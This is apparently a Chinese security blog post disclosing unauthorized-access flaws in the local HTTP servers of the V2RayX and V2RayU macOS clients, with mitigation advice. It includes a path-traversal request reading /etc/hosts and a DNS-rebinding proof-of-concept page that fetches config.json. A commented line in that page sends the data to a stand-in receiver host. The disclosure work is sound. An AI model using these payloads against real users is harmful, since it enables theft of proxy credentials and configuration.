这是洒家半年前研究的,没啥重要的原创内容,一直懒得写,前几天想起来,于是搞篇文章瞎扯一番。本文主要以 V2RayX、V2RayU 等图形化客户端为例,研究本地 HTTP 服务的未授权访问漏洞,及其利用方法。
漏洞及其背景¶
V2RayX 客户端配置文件未授权访问漏洞¶
V2RayX 是一种 macOS 版 V2Ray 客户端,目前最新版本为 v1.5.1,发布于 2019-2-14。
首先我们要知道,所有的 V2Ray GUI 客户端实际上都是对 V2Ray Core 的一个包装,负责把用户设置转换为配置文件,并管理 v2ray
进程,最后肯定要执行一条类似 v2ray -config=/PATH/TO/config.json
或者 v2ray -config=http://127.0.0.1:8070/config.json
的命令。其中,配置文件通过命令行参数提供,可以是一个 HTTP/HTTPS 协议的 URL,也可以是本地文件。
当时洒家在这个项目里发现了一条 issue:功能建议 关闭 http://127.0.0.1:PORT/config.json 显示当前配置信息。V2RayX 的配置文件地址是通过 HTTP 协议传递到 V2Ray Core 的。有人建议不要通过 http://127.0.0.1:PORT/config.json
向 v2ray
提供配置文件。
监听 127.0.0.1
提供 HTTP 接口是一种很普遍的操作。例如,QQ 客户端会监听 4300
、4310
等端口,用于实现 QQ 邮箱等网页的“快速登录”功能。但是,开发人员需要注意,只应当监听 127.0.0.1
而不是 0.0.0.0
,禁止局域网内其他设备连入,防止出现类似 2015 年百度全系 APP SDK WormHole 远程代码执行漏洞的漏洞。另外,开发人员需要验证 HTTP 请求头,防止 DNS 重绑定攻击。例如开源文件同步工具 Syncthing 监听了 127.0.0.1:8384
提供 Web UI,HTTP Server 会验证 HTTP Host 请求头。如果请求头不在白名单内,则拒绝访问:
$ curl -v http://127.0.0.1.xip.io:8384/
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1.xip.io (127.0.0.1) port 8384 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1.xip.io:8384
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< X-Content-Type-Options: nosniff
< Date: Mon, 02 Mar 2020 15:13:55 GMT
< Content-Length: 17
<
Host check error
* Connection #0 to host 127.0.0.1.xip.io left intact
洒家在这个 issue 的评论中建议通过本地文件而不是 HTTP 接口提供配置文件。这样可以减少不必要的攻击面,一定程度上提高安全性。有人回复洒家,认为洒家在扯淡(此评论已消失),于是洒家演示了一波 DNS 重绑定攻击。(整完活才发现撞洞了,有人 5 天前已经搞过一次了,极尴尬)
后续又有人评论:
目前监听的地址是 0.0.0.0,建议还是 127.0.0.1 好些吧
这时洒家才发现问题比原来想的更严重。在 macOS 上,如果一个应用程序监听了 0.0.0.0
,系统防火墙会弹出一个对话框:
您要应用程序“XXXXXX”接受传入网络连接吗?
blah blah blah ...
拒绝 允许
如果用户不理解或者没注意,点击了 允许
,则相同局域网的其他用户就可以直接访问配置文件。有些用户(甚至一些信息安全从业的同学)从来都不打开防火墙,他们的配置文件更是直接白给。
V2RayU 的类似漏洞¶
macOS 上另一款 V2Ray 软件 V2rayU 也有类似的问题。
2019-5-22 发布的 1.3.0 版本使用 /usr/bin/python -m SimpleHTTPServer 1085
命令来 serve PAC 脚本等文件,监听了 0.0.0.0
。其后,在 2019-5-26 发布的 1.3.1 版本中改用 GCDWebServer
,但是并没有解决这个问题,反而引入了目录穿越漏洞,可以远程读取任意文件:
>>> import requests
>>> print(requests.get('http://192.168.0.199:1085/../../../../../../etc/hosts').text)
##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255.255.255.255 broadcasthost
这些漏洞在后续版本中似乎已修复。
DNS 重绑定攻击¶
DNS 通常是访问互联网的起点,往往也是其中相对薄弱的环节。恶意网站使用 DNS 重绑定攻击,可以轻松绕过浏览器同源策略的限制,达到通过浏览器访问本机和内网资源的目的。
以下是用 DNS rebinding
攻击 V2RayX 的一个 POC。即使用户启用了防火墙,或者 HTTP Server 只监听 127.0.0.1
,当用户访问了恶意网页,配置文件也可以在约 1 分钟内回传到攻击者的远程服务器。
测试环境:macOS 10.14.5,Google Chrome 75.0.3770.80,网络环境为某校园网(含有校内默认 DNS),DNS Server 使用阿里云 VPS,Web Server 使用内网一台 Linux。
首先注册一个域名 www.example.com
,NS
指向上述 VPS。编写一个简单的 DNS Server Python 脚本,当收到查询 www.example.com
时会循环返回不同的结果(127.0.0.1 或者上述 web 服务器),且 TTL=0
。
web 服务器上放置一个网页 cross.html
,代码类似如下内容:
<h1>hacker page</h1>
<p id="output"></p>
<script type="text/javascript">
var output = document.getElementById('output');
output.innerText += 'wait 65 sec\n';
setTimeout(function(){
output.innerText += 'start attack\n';
var url = 'http://www.example.com:8070/config.json';
for(var i_try=0; i_try < 2; i_try++){
output.innerText += 'try ' +i_try + '\n';
var xhr=new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.onreadystatechange = function(){
output.innerText += 'state change\n';
if(xhr.readyState==4){
// alert(xhr.responseText);
output.innerText += 'content start\n';
output.innerText += xhr.responseText; // can be sent to any remote server
// (new Image()).src='https://receiver.example.com/?content=' + encodeURIComponent(xhr.responseText);
output.innerText += 'content end\n';
}
}
xhr.send();
}
}, 65 * 1000);
</script>
假设用户第一次访问 http://www.example.com:8070/cross.html
时 DNS 解析结果指向攻击者的 web 服务器。Chrome 等浏览器缓存 DNS 结果的时间大致在 1 分钟左右。因此上述代码在打开网页 60 秒后,使用 ajax 访问 http://www.example.com:8070/config.json
时,会再次查询 DNS,其解析结果指向 127.0.0.1
。域名、端口、协议都没有变,可以“跨域”访问敏感信息。
效果截图:
以上只是一个简单的 POC,如果精心构造 payload 和 DNS Server,就可以以相当大的概率窃取敏感信息。有关部门或者恶意用户只需要在常用可控网站上放置 src
为 http://www.example.com:8070/cross.html
的 iframe
,就可以有相当大的概率,神不知鬼不觉地窃取到访问者的 config.json
,用户的小水管就会白给。
防御¶
目前在 DNS 服务器、浏览器、Web 服务器等层面已经有了很多手段缓解 DNS 重绑定攻击。
例如,某些 Linux 发行版自带的 dnsmasq 支持 stop-dns-rebind
、rebind-domain-ok
、rebind-localhost-ok
等配置选项,会拒绝上游 DNS 服务器的内网 IP 解析结果。
对于 Web 服务器,以 Apache 为例,应当编辑配置文件,/etc/apache2/sites-enabled/000-default.conf
默认网站不要放置重要信息,Web App 只能通过正确的域名(+HTTPS) 访问。
实测扫描某内网¶
针对使用 V2RayX(监听 0.0.0.0)且未启用防火墙的用户,根据相关法律法规和政策,洒家懒得写了,此处删除 114514 字
修复建议¶
开发者修复建议¶
如果一定要用 HTTP Server:
- 监听
127.0.0.1
,防止局域网其他设备访问 - 检查 HTTP 请求头,设置白名单,只允许
127.0.0.1
、localhost
等值 - 检查 HTTP Server 组件,没有目录穿越漏洞等其他漏洞
对于 V2Ray 客户端,更好的修复方式:
HTTP Server 只用来 serve PAC 脚本这 1 个文件,使用本地文件的方式向 v2ray
提供配置文件。
用户建议¶
漏洞缓解方法:
在 系统设置 - 安全性与隐私 - 防火墙 中,开启防火墙。在防火墙选项中,将 V2RayX.app
等不需要传入连接的 APP 设置为 阻止传入连接
。
对于 V2RayX 用户,此项目已经长期未更新,也可以改用其他客户端。
高级用户可以直接用 homebrew
安装 v2ray-core
包,用命令行运行 V2Ray
。